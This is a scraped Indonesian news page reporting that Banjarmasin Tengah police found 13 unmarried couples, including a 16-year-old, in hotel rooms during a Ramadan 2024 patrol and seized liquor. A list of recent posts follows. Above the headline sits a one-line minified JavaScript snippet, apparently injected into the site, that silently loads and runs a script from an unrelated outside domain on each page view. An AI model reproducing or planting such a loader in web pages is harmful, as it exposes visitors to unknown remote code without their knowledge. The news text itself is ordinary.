(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Asik Ngamar di Hotel Melati, 13 Pasangan Bukan Suami Istri Terciduk Polisi


KANALKALIMANTAN.COM, BANJARMASIN – Tiga belas pasangan bukan suami istri terciduk sedang berduaan di kamar penginapan yang terletak di Kecamatan Banjarmasin Tengah Kota Banjarmasin, Minggu (24/3/2024) dini hari.

Pasangan diduga mesum tersebut terjaring petugas kepolisian dari Polsek Banjarmasin Tengah yang sedang melaksanakan giat patroli malam bulan Ramadan 1445 hijriyah.

Kapolsek Banjarmasin Tengah, Kompol Eka Saprianto mengatakan giat patroli dilaksanakan anggota Polsek Banjarmasin Tengah dengan mendatangi empat hotel atau penginapan. Diantaranya Royal Borneo Guest House di Jalan Djok Mentaya, Hotel Mira Inn Nagasari Jalan Djok Mentaya, Hotel Pelangi Jalam Sutoyo S, dan Hotel Mira Inn Jalan Pangeran Samudera.

Baca juga: RI Rebut Ruang Udara di Atas Natuna dari Singapura

“Di wilayah Banjarmasin Tengah kita menemukan 13 pasangan tanpa surat nikah berada di kamar hotel, terutama hotel-hotel melati,” kata Kapolsek.

Mereka yang kedapatan sedang ngamar, kata Kapolsek, mulai dari anak di bawah umur yang usinya masih 16 tahun hingga yang paling tua umur 61 tahun. Ada yang dari Kota Banjarmasin, Kabupaten Banjar, hingga Kabupaten Barito Kuala.

Masih lanjut Kompol Eka, seluruh pasangan bukan suami istri tersebut dibawa ke Mapolsek Banjarmasin Tengah untuk dilakukan pembinaan sebelum diserahkan kepada orangtuanya.

“Kita panggil dulu orangtuanya, kemudian kita beri arahan dan binaan bahwa orangtua harus benar-benar menjaga anaknya,” ujar Kompol Eka.

Baca juga: 20 BPR Diprediksi Tutup Tahun Ini

Selain mengamankan pasangan bukan suami istri, petugas Polsek Banjarmasin Tengah kata Kompol Eka saat melaksanakan operasi juga mendapati puluhan botol minuman keras (miras) berbagai merk di rumah makan yang terletak wilayah Banjarmasin Tengah.

Padahal menurutnya, di Kota Banjarmasin sudah ada surat edaran yang melarang jual beli miras selama bulan suci Ramadan.

“Mirasnya sementara kita amankan di Polsek dulu,” sebutnya.

Kapolsek Banjarmasin Tengah mengatakan kegiatan patroli cipta kondisi digelar dalam rangka mengantisipasi aksi premanisme dan mencegah perbuatan asusila pada bulan Ramadan 1445 Hijriyah.

Baca juga: Hari Tuberkulosis Sedunia 2024 “Yes! We Can End TB”, Ini Langkah Pencegahannya

Pihaknya mengimbau masyarakat untuk selalu waspada terhadap pelaku kejahatan dan melaporkan apabila mengalami ataupun mengetahui aksi kejahatan di wilayah hukum Polsek Banjarmasin Tengah.(Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.